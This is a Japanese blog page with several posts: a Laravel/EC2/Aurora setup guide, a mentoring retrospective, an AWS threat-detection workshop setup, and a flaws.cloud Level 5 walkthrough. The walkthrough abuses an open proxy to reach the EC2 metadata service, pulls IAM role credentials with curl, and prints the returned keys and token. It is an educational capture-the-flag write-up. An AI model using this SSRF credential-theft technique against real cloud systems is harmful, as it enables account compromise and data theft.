EC2/PHP7.4/Apache/Aurora MySQLでLaravel環境を作ってみた
少し前に業務でEC2/PHP7.4/Apache/Aurora MySQLでLaravel環境を作成したのでそのナレッジを残しておきます。
作業手順
今回利用したインスタンスタイプはt2.medium
ですがt2.micro
とかでも同じ設定で作成は可能です。
環境構築
今回は単純なEC2(WEB)1台、Aurora1台構成の設定となります。
EC2とAuroraは通信可能なセキュリティグループを設定しておいてください。
ざっくりした図を書くと以下のような感じです。
気が向いたら環境作成用のテンプレートを作っておきます。
日付をJSTに設定する
EC2は初期の日付がUTCになっているので必要であれば以下の手順で変更します。
まずdate
コマンドで現在の設定を確認します。
$ date Tue Mar 3 07:21:04 UTC 2019
念のため/etc/llocaltime
のバックアップをcp
コマンドで作成します。
$ ls /etc/localtime* /etc/localtime $ sudo cp /etc/localtime /etc/localtime.org $ ls /etc/localtime* /etc/localtime /etc/localtime.org
$ sudo ln -sf /usr/share/zoneinfo/Asia/Tokyo /etc/localtime $ date Tue Mar 3 16:41:30 JST 2019 $ strings /etc/localtime TZif2 TZif2 JST-9
再起動でタイムゾーンが戻らないように/etc/sysconfig/clock
ファイルに設定を書き込みます。
※書き込みをおこなう前に念のためcp
コマンドでバックアップを作成します。
$ sudo cp /etc/sysconfig/clock /etc/sysconfig/clock.org $ sudo vim /etc/sysconfig/clock ZONE="Asia/Tokyo" UTC=false $ diff /etc/sysconfig/clock /etc/sysconfig/clock.org 1,2c1,2 < ZONE="Asia/Tokyo" < UTC=false --- > ZONE="UTC" > UTC=true
設定を反映させるためにreboot
コマンドで再起動をおこないます。
$ sudo reboot
Swap設定
Swap設定の設定がされていないインスタンの場合ですと、
EC2にLaravelをインストールする際インスタンスによってメモリ不足でエラーになる時があります。その際は以下を参考にしてSwap設定をおこなってください。
free
コマンドでSwapの利用状況の確認をおこないます。
以下のようにSwapの結果が0
の場合はSwapの設定が必要となります。
$ free total used free shared buff/cache available Mem: 4037608 100016 3074136 468 863456 3708216 Swap: 0 0 0
念のためgrep
コマンドを使って/proc/meminfo
でも確認しておきます。
$ grep Mem /proc/meminfo MemTotal: 4037608 kB MemFree: 3074136 kB MemAvailable: 3708244 kB $ grep Swap /proc/meminfo SwapCached: 0 kB SwapTotal: 0 kB SwapFree: 0 kB
以下のコマンドで512MB
のSwapを作成します。
$ sudo dd if=/dev/zero of=/swapfile1 bs=1M count=512 512+0 records in 512+0 records out 536870912 bytes (537 MB) copied, 0.277538 s, 1.9 GB/s
先ほど作成したswapfile1
があるか念のため確認します。
$ ll /swapfile1 -rw-r--r-- 1 root root 536870912 Mar 3 16:47 /swapfile1
swapfile1
ファイルの権限を変更し、フォーマットをおこないます。
$ sudo chmod 600 /swapfile1 $ sudo mkswap /swapfile1 Setting up swapspace version 1, size = 512 MiB (536866816 bytes) no label, UUID=2331f2ba-449d-45ca-8d96-29e1fd7d1862
作成したswapfile1
ファイルを有効化します。
$ sudo swapon /swapfile1 $ sudo swapon -s Filename Type Size Used Priority /swapfile1 file 524284 0 -2
システムリブートでswapfile1
ファイルを認識できるよう以下の設定をします。
$ sudo cp -p /etc/fstab /etc/fstab.org $ sudo sh -c "echo '/swapfile1 swap swap defaults 0 0' >> /etc/fstab" $ cat /etc/fstab | grep swapfile1 /swapfile1 swap swap defaults 0 0
Swapが設定できたことを確認します。
$ free total used free shared buff/cache available Mem: 4037604 77708 3745892 412 214004 3747868 Swap: 524284 0 524284
PHP7.4/Apache/php-mysqlndなどのアプリインストール
まずはパッケージを最新にします。
$ sudo yum update -y
Amazon Linuxが持っているリポジトリはPHP5.4
しか入っていないので、
yum
のリポジトリにPHP7.4
が入っているremi
リポジトリを使えるようにしてあげます。
対象のEC2にepel-release
パッケージをインストールを行うため、下記のコマンドを実行します。
$ sudo amazon-linux-extras install epel -y $ sudo yum install epel-release -y
remi
リポジトリの有効化をおこないます。
$ sudo rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm Retrieving http://rpms.famillecollet.com/enterprise/remi-release-7.rpm warning: /var/tmp/rpm-tmp.30IKQl: Header V4 DSA/SHA1 Signature, key ID 00f97f56: NOKEY Preparing... ################################# [100%] Updating / installing... 1:remi-release-7.7-2.el7.remi ################################# [100%]
PHP7.4
/Apache
をインストールしていきます。
$ sudo yum install -y php74 php74-php php74-php-fpm $ sudo ln -s /usr/bin/php74 /usr/bin/php $ php -v PHP 7.4.3 (cli) (built: Feb 18 2020 11:53:05) ( NTS ) Copyright (c) The PHP Group Zend Engine v3.4.0, Copyright (c) Zend Technologies
その他Laravelに必要なPHP7.4
のパッケージをインストールします。
$ sudo yum install php74-php-mbstring.x86_64 -y $ sudo yum install php74-php-xml.x86_64 -y $ sudo yum install php74-php-pdo.x86_64 -y $ sudo yum install php74-php-mysqlnd.x86_64 -y
php-mysqlnd
のインストールをします。
$ sudo yum install php74-php-mysqlnd.x86_64 -y
mysql
コマンドを使えるようにしておきたいので下記もインストールします。
$ sudo yum install mysql-community-client mysql-community-devel
パーミッション設定
www
グループを追加してec2-user
を所属させます。
$ sudo groupadd www $ sudo usermod -a -G www ec2-user $ exit
一度ログアウトして再度EC2にログインします。
cat /etc/group
コマンドで設定内容の確認をおこないます。
$ cat /etc/group |grep www www:x:1002:ec2-user
/var/www
以下の所有者情報を再帰的に変更します。
$ sudo chown -R ec2-user:www /var/www $ sudo chmod 2775 /var/www $ find /var/www -type d -exec sudo chmod 2775 {} + $ find /var/www -type f -exec sudo chmod 0664 {} +
Laravelインストール
まずはComposerをインストールします。
$ cd ~ $ curl -sS https://getcomposer.org/installer | sudo php All settings correct for using Composer Downloading... Composer (version 1.9.3) successfully installed to: /home/ec2-user/composer.phar Use it: php composer.phar $ sudo cp composer.phar /usr/local/bin/composer $ sudo ln -s /usr/local/bin/composer /usr/bin/composer
Laravelプロジェクトの作成をおこないます。
$ cd /var/www $ sudo composer create-project --prefer-dist laravel/laravel
ドキュメントルートの変更をおこないます。
$ sudo vim /etc/httpd/conf.d/custom.conf # ドキュメントルート DocumentRoot "/var/www/laravel/public" # .htaccess 有効化 <Directory /var/www/laravel/public> AllowOverride All </Directory>
Apache再起動とLaravel配下のパーミッションの変更します。
$ sudo service httpd restart $ sudo chmod -R 777 /var/www/laravel/storage $ sudo chmod -R 777 /var/www/laravel/bootstrap/cache/
ここまで設定したらEC2のパブリック DNS名でブラウザアクセスをおこなうとLaravelの画面が見れるかと思います。
LaravelのAurora接続設定
LaravelをAuroraに接続する際に/var/www/laravel/
配下の.env
ファイスの設定を変更する必要があります。
変更箇所は色変えておきました。
$ sudo cd /var/www/laravel/ $ sudo vim .env ~~~省略~~~ DB_HOST=Auroraのエンドポイント DB_PORT=3306 DB_DATABASE=Aurora作成時に設定したデータベース名 DB_USERNAME=Aurora作成時に設定したDBマスターユーザ名 DB_PASSWORD=Aurora作成時に設定したDBマスターパスワード ~~~省略~~~
Auroraに接続をして、Aurora作成時に設定したデータベース名と同じデータベースを作成します。今回は例としてtestdb
とします。
$ mysql -h Auroraクラスタのエンドポイント -u DBマスターユーザ名 -p Enter password:DBマスターパスワード mysql>show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sys | +--------------------+ 4 rows in set (0.00 sec) mysql> create database testdb; Query OK, 1 row affected (0.02 sec) mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | testdb | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0.00 sec)
migration
の実行をおこないます。
$ sudo php artisan migrate Migration table created successfully. Migrating: 2014_10_12_000000_create_users_table Migrated: 2014_10_12_000000_create_users_table (0.1 seconds) Migrating: 2019_08_19_000000_create_failed_jobs_table Migrated: 2019_08_19_000000_create_failed_jobs_table (0.03 seconds)
テーブルが作成されているか確認します。
$ mysql -h Auroraクラスタのエンドポイント -u DBマスターユーザ名 -p Enter password:DBマスターパスワード mysql> use testdb; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> show tables; +--------------------+ | Tables_in_testdb | +--------------------+ | failed_jobs | | migrations | | users | +--------------------+ 3 rows in set (0.03 sec)
これでEC2/PHP7.4/Apache/Aurora MySQLでLaravel環境構築は完了となります。
終わりに
純粋に作成したときにいろいろ困ったので、
メモ書きを残しておこうと思いました。
PHP7.4
の利用やWEBとDBを別のインスタンスでLaravelを構築予定の方の役に立てば幸いです。
ブログメンタリングが終わるので振り返る
カックさん(kakakakakku)のブログメンタリングがもうすぐ卒業となりますので、
ブログメンタリングの振り返り記事を書くこととしました。
メンティ期間は2019年の12月から2020年の2月です。
ブログメンタリングって何?って方は以下を読んでください! kakakakakku.hatenablog.com
なぜブログメンタリングを受けようと思ったか
僕はほかのメンティさんとは応募のきっかけの経緯が少し違います。
知り合いのメンティokabeeeatさんの紹介で応募しました。
okabeeeatさんは当時カックさんのメンティ2ヶ月目でしたが
もうすでにカックイズムを受け継いでいたのか半ば強引に
「一緒にブログやりましょうよ!」とか
「メンタリング募集してるんで応募してくださいよ!」とか
すごい勢いにちょっとおびえた記憶があります。
応募のきっかけはokabeeeatさんでしたが、
もともと趣味でハッキングラボを建てたり
自宅に小さなサーバルーム(もうない)を建てたりしていました。
いろいろやってはいたもののすべて自己満足で終わっていたので
これをきっかけにブログに残していこうかなと思いました。
ブログメンタリングを受けてみた感想
一番の感想ですが、ブログ書いてカックさんとDMしてを繰り返していくだけで自然と習慣化されたなというイメージが強いです。 これは僕が特殊なだけなのかもしれませんがただただ楽しかったなという印象です。
1つブログを上げるたびにカックさんが丁寧にレビューしてくれます。 その際にカックさんからくる指摘事項を直すことで技術ブログを運用していくのに必要なノウハウや見やすく伝わりやすい表現方法などが学べました。
僕は最初の一か月はtypo地獄で、一番ひどかったtypoはnslookup
をnskiikup
って記載していました。
そんな僕もカックさんの極意であるセルフレビュー(朗読)をある程度マスターしてtypoもほとんどなくなりました。
最初の一か月は毎週カックさんに「typoですね」って言わせ続けてしまったのが申し訳ないですw
ブログメンタリングのスタート時にカックさんからブログの記事のネタ出し20個上げるのがお決まりのパターンのようですが最初はすごい大変でしたが 最後のほうになると記事のレビュー後にカックさんとDMのやり取りをするだけでたくさんのネタが生まれて最終的にネタ不足に陥ることはなかったです。
今思うとカックさんとDMでわちゃわちゃやっていただけなきもしますw
うれしかったこと
メンティになり2ヶ月目ですが僕の書いたブログがホッテントリになりました。
僕が書いた、https://t.co/XAIOF6zFvDのブログがホットエントリーになりました!https://t.co/JKjt0eLA3B
— chiko (@chiko_neat) 2020年1月14日
# ブログメンタリング
この時、実は僕よりも早くカックさんが気づきDMで教えてくれました。
ブログメンターの鏡ですね!
さすが「ブログになる」っていう人は違うなぁと思いました。
やはりブログを書くならみんなに読んでもらえると嬉しいものです。
今後も頑張って書いていこうと思いました。
ちなみに以下のブログもホッテントリになりました! chikoblog.hatenablog.jp
今後の課題
週1投稿を続ける
ブログメンタリングが終わると同時にもともと怠け者なので、週1投稿を続けられるのか少し心配です。
ただ、この期間で習慣化されてはいるので日曜日になったら「あ!ブログ書かなきゃ」ってなる気もします。
なので直近はこの習慣を続けてブログをじゃんじゃん書いていきたいです。
月曜更新を意識する
日曜日に記事を書くことが多いのでなるべく平日更新を心がけていきたいです。
書籍レビューもたくさん書いていきたい
家に積んである本を読むきっかけにしていきたい。
せっかく買ったのに読めていない積み本をなくす!
最後に
技術ブログに興味ある方ブログを書いてはいるものの投稿ペースがいまいちって方は
カックさんに付きまとわれてみてはどうでしょうか?
僕のように気が付けば習慣化してたりしますよ~
やってみたら意外と楽しいってなるかもしれませんので
是非興味がある方はカックさん(kakakakakku)のツイッターをフォローしてみてはどうでしょうか?
AWS ワークショップ【AWS 環境における脅威検知と対応】をやってみた モジュール1
前から気になっていたAWSセキュリティワークショップをやってみました!
AWSセキュリティワークショップでなにが学べるか?
AWSで実行される環境および ワークロードの保護に適用できる様々なベストプラクティスが紹介されています。
このワークショップではクラウド内のセキュリティに重点を置いており、 用意されたシナリオを使用してAWS環境構築の一般的なユースケースと操作方法を学べます。 また、AWS Well-Architectedフレームワークのセキュリティの柱にある設計の原則をもとに作られる環境なのでセキュリティ向上に役立ちます!
AWS 環境における脅威検知と対応
では、早速やっていきたいと思います。
下記のリンクに飛ぶとこのワークショップの説明が記載されています。
scaling-threat-detection.awssecworkshops.jp
以下の概要とシナリオ、アーキテクチャはサイトに記載されている内容を引用します。
概要
Amazon GuardDuty、Amazon Macie、Amazon Inspector、AWS Security Hub などのサービスを使用して、 攻撃中および攻撃後の脅威を調査し、通知と修復パイプラインを設定し、追加的な保護策を講じて、環境のセキュリティを改善する方法を学習できます。
- レベル: 中級
- 時間: 2 ~ 3 時間
- CSF 機能: 検出、対応、復旧
- CAF 構成要素: Detective, Responsive
- 前提条件: AWS アカウント、管理者権限を持つ IAM ユーザー
シナリオ
あなたの会社はクラウドに慣れておらず、最近インフラストラクチャーを試験的にリフトアンドシフトで移行しました。あなたはシステム管理者であり、AWS 環境のセキュリティ監視を任されています。その作業の一環として、その環境におけるセキュリティイベントへの対応も担当しています。
なかなか面白そうな内容ですね!
アーキテクチャ
us-west-2 リージョンで単一のインスタンスが設定されています。 これは試験的な「リフトアンドシフト」移行であり、アプリケーションは冗長化をしていなく、単一の公開ウェブサーバーとなっています。
このウェブサーバーは、Elastic Network Interface を通じてインターネットゲートウェイにアクセスできます。 顧客は、Elastic Network Interface を指す DNS エントリを通じてウェブサーバーにアクセスします。
静的コンテンツを S3 バケットに保管し、ウェブサーバーからのアクセスに VPC S3 エンドポイントゲートウェイを使用します。
このワークショップはus-west-2リージョンを使用してるようです。 環境の作成を行う際は間違えないようにしましょう。
モジュール1 環境構築と設定
モジュール1では、検知と対応の統制の初期設定をします。
2つのCloudFormationテンプレートが用意されており、そのうちの1つをまずは実行して環境を作っていきます。
テンプレートは以下にあります。
CloudFormationテンプレートのデプロイ
実手順ではAWSコンソールをポチポチしていくようですが、
僕はめんどくさいのでAWS CLIで実行しちゃいます。
手順に指定されているパラメータを確認します。
Stack name
: ThreatDetectionWksp-Env-Setup
Email Address
: A valid email address
Stack name
とEmail Address
を踏まえた
aws cloudformation create-stack
コマンドでテンプレートのデプロイします。
$ aws cloudformation create-stack --stack-name ThreatDetectionWksp-Env-Setup \ --parameters ParameterKey=Email,ParameterValue="A valid email address" \ --template-body https://s3-us-west-2.amazonaws.com/sa-security-specialist-workshops-us-west-2/threat-detect-workshop/staging/01-environment-setup.yml \ --region us-west-2 --capabilities CAPABILITY_NAMED_IAM { "StackId": "arn:aws:cloudformation:us-west-2:xxxxxxxxxxxx:stack/ThreatDetectionWksp-Env-Setup/e89a5780-5621-11ea-ae54-0ac86d6e8b22" }
スタックのステータスがCREATE_COMPLETE
になるまで待ちます。
aws cloudformation list-stacks
コマンドで現在のステータスの確認ができます。
aws cloudformation list-stacks --stack-status-filter CREATE_COMPLETE --region us-west-2 { "StackSummaries": [ { "StackId": "arn:aws:cloudformation:us-west-2:xxxxxxxxxxxx:stack/ThreatDetectionWksp-Env-Setup/e89a5780-5621-11ea-ae54-0ac86d6e8b22", "StackName": "ThreatDetectionWksp-Env-Setup", "TemplateDescription": "This AWS CloudFormation Template configures an environment with the necessary detective controls to support the Threat Detection Workshop. DO NOT run this template in a production AWS Account.", "CreationTime": "2020-02-20T10:18:11.014Z", "StackStatus": "CREATE_COMPLETE", "DriftInformation": { "StackDriftStatus": "NOT_CHECKED" } } ] }
スタックのステータスがCREATE_COMPLETE
になるとEmail Address
に設定した、
メールアドレスに件名がAWS Notification - Subscription Confirmation
のメールが届きます。
そのメールに記載されているConfirm subscription
からサブスクリプションの有効にします。
aws sns list-subscriptions
コマンドでサブスクリプションが有効になったかを確認します。
$ aws sns list-subscriptions --region us-west-2 { "Subscriptions": [ { "SubscriptionArn": "arn:aws:sns:us-west-2:xxxxxxxxxxxx:threat-detection-wksp:f5922d74-c701-4667-b988-d6cb472df136", "Owner": "xxxxxxxxxxxx", "Protocol": "email", "Endpoint": "A valid email address", "TopicArn": "arn:aws:sns:us-west-2:xxxxxxxxxxxx:threat-detection-wksp" } ] }
CloudWatch イベントルールおよび自動応答の設定
先ほど実行したテンプレートによって、アラートおよび応答のための3つのCloudWatchイベントルールが作成されています。 以下の手順で最終的なルールを作成し、メール通知を受け取り脅威に対応するためにLambda関数をトリガーするための必要なすべてのルールが設定されます。
AWSコンソールで以下の手順を実行します。
- CloudWatch コンソールを開きます。
- 左のナビゲーションペインで、イベントの下の
ルール
をクリックします。 ルールの作成
をクリックします。カスタムイベントパターン
を選択し以下のカスタムイベントパターン
を貼り付けます。{ "source": [ "aws.guardduty" ], "detail": { "type": [ "UnauthorizedAccess:EC2/MaliciousIPCaller.Custom" ] } }
ターゲットの追加
をクリックし、Lambda 関数を選択しthreat-detection-wksp-remediation-nacl
を選択します。これまでの設定が正しくできていたら下記の画像のようになっているはずです...設定の詳細
をクリックします。
ルールの詳細の構成画面で、名前および説明を入力します。
名前: threat-detection-wksp-guardduty-finding-ec2-maliciousip
説明: UnauthorizedAccess:EC2/MaliciousIPCaller.Custom
ルールの作成
をクリックします。
動いているLambdaの内容が知りたければ、AWSコンソールでLambdaの画面まで移動して、
threat-detection-wksp-remediation-nacl
関数を見ると内容が確認できます。
GuardDuty の有効化
GuardDutyを利用することにより、悪意のある行動や不正な行動がないか環境を継続的に監視してくれます。
- GuardDuty コンソールに移動し、今すぐ始めるをクリックします。
- 次の画面で、GuardDutyの有効化をクリックします。
これでGuardDuty が有効になります。 CloudTrail ログやVPC フローログ、および DNS クエリログが監視され脅威がないかを確認できるようになります。
Macie の有効化
このシナリオでは機密データをS3に保管するつもりのようです。 Macieは、データアクセスアクティビティを継続的に監視して異常がないかをチェックするセキュリティサービスで、 不正アクセスやデータ漏洩のリスクを検出するとアラートを生成してくれます。
- Macieコンソールに移動し、
Get Started
をクリックします。 Enable Macie
をクリックします。
ちなみにMacieを有効にした時に作成されるロールの権限を確認する場合、View service role permissions
をクリックすると見れます。
データの検出と分類のためのMacie設定
Macieは機密データを自動で検出および分類するためにも使用されます。 今回はS3バケットのデータを分類するための統合を設定をします。
- Macieコンソールで、左のナビゲーションの
Integrations
をクリックし AWS アカウント ID (1 つだけあります) を探してSelect
をクリックします。 Add
をクリックし、次の画面で-data
で終了するS3バケットをチェックし、Add
をクリックします。- 次の画面からはオプションはデフォルトのままにして
Review
→Start Classification
→Done
の順番でクリックしていきます。
これで、Macieが有効になりデータの検出、分類、および保護を開始します。
Security Hub の有効化
ここまででDetective Controlの設定が完了しました。 次にAWS 環境のセキュリティおよびコンプライアンスを確認できるように Security Hubを有効にする必要があります。
- Security Hub コンソールに移動し、
Security Hub に移動
をクリックします。 - 次の画面で、
Security Hub の有効化
をクリックします。
これでSecurity Hub が有効になりました。 今まで有効化したセキュリティサービスからの検出結果の収集と集約が開始されます。
アーキテクチャの概要
これで環境が構成され、ワークショップの準備ができました。
Detective Control の構成は以下のようになっています。
次のモジュール2に進めるようになりました。
まとめ
環境を作るだけで結構なボリュームになってしまいました。
次の記事から本格的な内容になっていきます。
興味ある方はAWS ワークショップやってみてください!
セキュリティ以外も色々ありますので!
flaws.cloudでAWS環境にSSRF攻撃をやってみた Level 5
この記事は下記のブログの続きです!
過去の記事でおこなった手順は省略してますのでご注意ください。
まだ、このシリーズの読んでいなければ先にLevel 1の記事をご覧ください。
chikoblog.hatenablog.jp
※この記事はflaws.cloudのやり方が載ってます。今後flaws.cloudにチャレンジ予定の方はネタバレになってしまいます。
Level 5
トップページです。
今回の問題はこんな感じです。
「This EC2 has a simple HTTP only proxy on it. Here are some examples of it's usage:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/
See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.」
このEC2にはHTTPのみのプロキシがあり、使用例は以下のようなものです。
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/
このプロキシを使用して、非表示ディレクトリがある
S3バケットlevel6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
の内容をリストする方法を確認してください。
相変わらず、英語力がないと難解すぎて困る...
とりあえず進めてみる
問題にあったlevel6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
にブラウザアクセスしてみると「Access Denied」でした。
「Level 6 is hosted in a sub-directory, but to figure out that directory, you need to play level 5 properly.」
Level 6はサブディレクトリでホストされるが、そのディレクトリを把握するにはLevel 5の内容をよく調べる必要があります。
なんとなく問題にある「このEC2」というのはLevel 4で作ったEC2のことを指すような気がします。
Level 4で作ったEC2はNginxが使われていますので、この辺りの設定ファイルにプロキシの設定が書いてあるのではないでしょうか?
Level 4でマウントしたマウントポイントに移動してls
コマンドを実行します。
$ cd /mnt/xvdf1/ (各自マウントしたマウントポイント) $ ls -ls etc/nginx 合計 56 4 drwxr-xr-x 2 root root 4096 10月 27 2016 conf.d 4 -rw-r--r-- 1 root root 1077 4月 26 2016 fastcgi.conf 4 -rw-r--r-- 1 root root 1007 4月 26 2016 fastcgi_params 4 -rw-r--r-- 1 root root 2837 4月 26 2016 koi-utf 4 -rw-r--r-- 1 root root 2223 4月 26 2016 koi-win 4 -rw-r--r-- 1 root root 3957 4月 26 2016 mime.types 4 -rw-r--r-- 1 root root 1533 2月 19 2017 nginx.conf 4 -rw-r--r-- 1 root root 180 4月 26 2016 proxy_params 4 -rw-r--r-- 1 root root 636 4月 26 2016 scgi_params 4 drwxr-xr-x 2 root root 4096 2月 19 2017 sites-available 4 drwxr-xr-x 2 root root 4096 2月 19 2017 sites-enabled 4 drwxr-xr-x 2 root root 4096 2月 12 2017 snippets 4 -rw-r--r-- 1 root root 664 4月 26 2016 uwsgi_params 4 -rw-r--r-- 1 root root 3071 4月 26 2016 win-utf
nginx.conf
があるので、とりあえず開いてみます。
$ cat etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
events {
worker_connections 768;
# multi_accept on;
}
http {
~~~中略~~~
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
~~~中略~~~
Nginxのバーチャルホスト設定で/etc/nginx/sites-enabled/
がインクルード設定されていることがわかったので中身を確認します。
$ ls -ls etc/nginx/sites-enabled/ 合計 0 0 lrwxrwxrwx 1 root root 34 2月 12 2017 default -> /etc/nginx/sites-available/default
中身をみてみると/etc/nginx/sites-enabled/default
が
シンボリックリンクで/etc/nginx/sites-available/default
に向いているようなので中身をみてみます。
$ cat etc/nginx/sites-available/default server { listen 80 default_server; listen [::]:80 default_server; root /var/www/html; index index.html index.htm; server_name _; location / { try_files $uri $uri/ =404; auth_basic "Restricted Content"; auth_basic_user_file /etc/nginx/.htpasswd; } location ~* ^/proxy/((?U).+)/(.*)$ { limit_except GET { deny all; } limit_req zone=one burst=1; set $proxyhost '$1'; set $proxyuri '$2'; proxy_limit_rate 4096; proxy_set_header X-Real-IP $remote_addr; proxy_set_header Host $proxyhost; resolver 8.8.8.8; proxy_pass http://$proxyhost/$proxyuri; } }
問題に書いてあったプロキシのホスト名である
4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
はLevel 4でEBSスナップショットを取得したEC2の名前と一致しています。
なので、ここのproxy_pass http://$proxyhost/$proxyuri;
部分は
問題にあったhttp://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/*
でアクセス可能な気がします。
これだけの情報じゃ何もできないのでより詳細な情報を抜き取る必要があります。
諸々調査をしていると.bash_history
内に気になるコマンドが出てきました。
$ cat home/ubuntu/.bash_history |grep curl curl 169.254.169.254 curl http://169.254.169.254/latest/meta-data curl -XGET http://169.254.169.254/latest/meta-data curl http://169.254.169.254/latest/meta-data/iam/info curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/profile/ curl http://169.254.169.254/latest/meta-data/profile curl http://169.254.169.254/latest/user-data curl http://169.254.169.254/iam/security-credentials/flaws curl http://169.254.169.254/iam/security-credentials curl http://169.254.169.254/iam/security-credentials/flaws/ curl http://169.254.169.254/iam/ curl http://169.254.169.254/meta-data/iam/security-credentials/flaws curl http://169.254.169.254/latest/meta-data/iam/security-credentials/flaws curl http://169.254.169.254/latest/meta-data/iam/security-credentials
このIPアドレス169.254.169.254
は実行中の
インスタンスメタデータの取得の際に利用できるIPアドレスのようです。
早速、実行してみました。
$ curl http://169.254.169.254/latest/meta-data ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hostname identity-credentials/ instance-action instance-id instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/
色々な情報が盗み取れそうです。特に気になるのが.bash_history
にあったflaws
を利用しているのもたちです。
$ cat home/ubuntu/.bash_history |grep curl |grep flaws curl http://169.254.169.254/iam/security-credentials/flaws curl http://169.254.169.254/iam/security-credentials/flaws/ curl http://169.254.169.254/meta-data/iam/security-credentials/flaws curl http://169.254.169.254/latest/meta-data/iam/security-credentials/flaws
中でもhttp://169.254.169.254/meta-data/iam/security-credentials/*
へのリクエストはIAMの情報を取得するときに利用するものです。
攻撃しているEC2はflaws
というIAMロールを割り当てていそうですね。
おそらくですが、
4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
が動いているEC2のプロキシを悪用すれば、
level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
の情報が抜けそうな気がします。
手に入れたプロキシの情報http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/*
と
先ほどのコマンド利用してIAMの情報を抜いてみようと思います。
$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/ { "Code" : "Success", "LastUpdated" : "2019-12-28T10:36:50Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIA6GG7PSQG7AROHMFN", "SecretAccessKey" : "tzd4e7LOdSKPI4A2rR7sUMPTTvh12tlbbeprxBEe", "Token" : "IQoJb3JpZ2luX2VjEOv//////////wEaCXVzLXdlc3QtMiJHMEUCIQDZr5VE2wCVSKorbQp4QsQhMYAPW57QcOdMgfOtYFYTEgIgGe5W8C3d4yuD2IW57OhR5GgnFeMxWSoTEsuC4LzFI40qvQMIpP//////////ARAAGgw5NzU0MjYyNjIwMjkiDMDJ6PttBOzFTUUxriqRA4G45awz0lX2ZBCP5GyKaRzlun0Z/7pqtAH+mqamde0wk92Odac6psnQ9du6X/MFdjg/oi0Wy4ph4tEDuFl1rDpAqN99wqZtIUS4q0V3PpILiAsVAoGUvdfAA0dw5y9B9x+G7aW80mkWTJd4Gn5mg6Ji2wImI/4RXsu0j3TUzpylCyWtCQHLekqS6cV0j1pokYYeq3RBBCA8X6dpjCO9qQHg4f7YCAtrzT0oAlNDMK1tae8JkX9pClj7+53kBXVzC+43KwRTrCwXQtuh9ANbWIQu3xP4cVeuzckvFdO3TxoVR7Dq7wC3Ro0ceYl+LX1uwFg/wGq/t/ATCTQbcPOA/VpRR3cmFaZ20BXMP5EJ7I1SeeHog8KpURXoboiW6fP1X2qDQL8YT8Kg1xJ7FgEPOAVhOS3/kA+ghglBwPm0KJ8lYtaSOEkLG5kREX6Ij0UL42nh3ZQZ9S40XkAUPUHrqgQSTnDIlz2nZ734gLscPe5Y/BdycSHoecuJddgITbnqonrQmsRsz1f9Vuh8TYhSrJYWMIm2pPIFOusBdMXseVsfP+tFSreYU4KOaPQ4J5B/c+TP/VPKiWU3QnQOphrXPsCscETB69Lbf3aqcfuRgUuaJx6MVbgwGxyTQzny8GgCRdy+jCQdf3SHNQZ8akECa9N/D7waMU5uG0BxSPeDPfIqTPQqeL5aw5KKqlTomuPKslVMRf0aZg9HJuWCh7DxmD+nAJzRp2NT95s81dQtzvYefaA8xTbAO8ljumO7UOhbhhQjY/Z+l/JePXTLser281xBkckbYZAtikEHCbj54Vb4X3EhH5GHK40NlbLU7mVP+n849QMvrTK9s903oEQz9jdQHtiyqA==", "Expiration" : "2019-12-28T16:42:17Z"
手に入れたキー情報をaws configure
に登録してみる。がS3バケットの参照はできませんでした。
$ aws configure --profile flawstest AWS Access Key ID [None]: ASIA6GG7PSQG7AROHMFN AWS Secret Access Key [None]: tzd4e7LOdSKPI4A2rR7sUMPTTvh12tlbbeprxBEe Default region name [None]: us-west-2 Default output format [None]: $ aws s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile flawstest An error occurred (InvalidAccessKeyId) when calling the ListObjectsV2 operation: The AWS Access Key Id you provided does not exist in our records.
先ほどのcurl
コマンドの事項結果でToken
というのが出てきたのでこれも利用しないといけなさそうですね。
aws configureの公式ドキュメントによると機密性の高い認証情報は~/.aws/credentials
に記載されているようです。
~/.aws/credentials
でAWS セッショントークンをaws_session_token
で指定できるようなので、vim
コマンドで追加してみます。
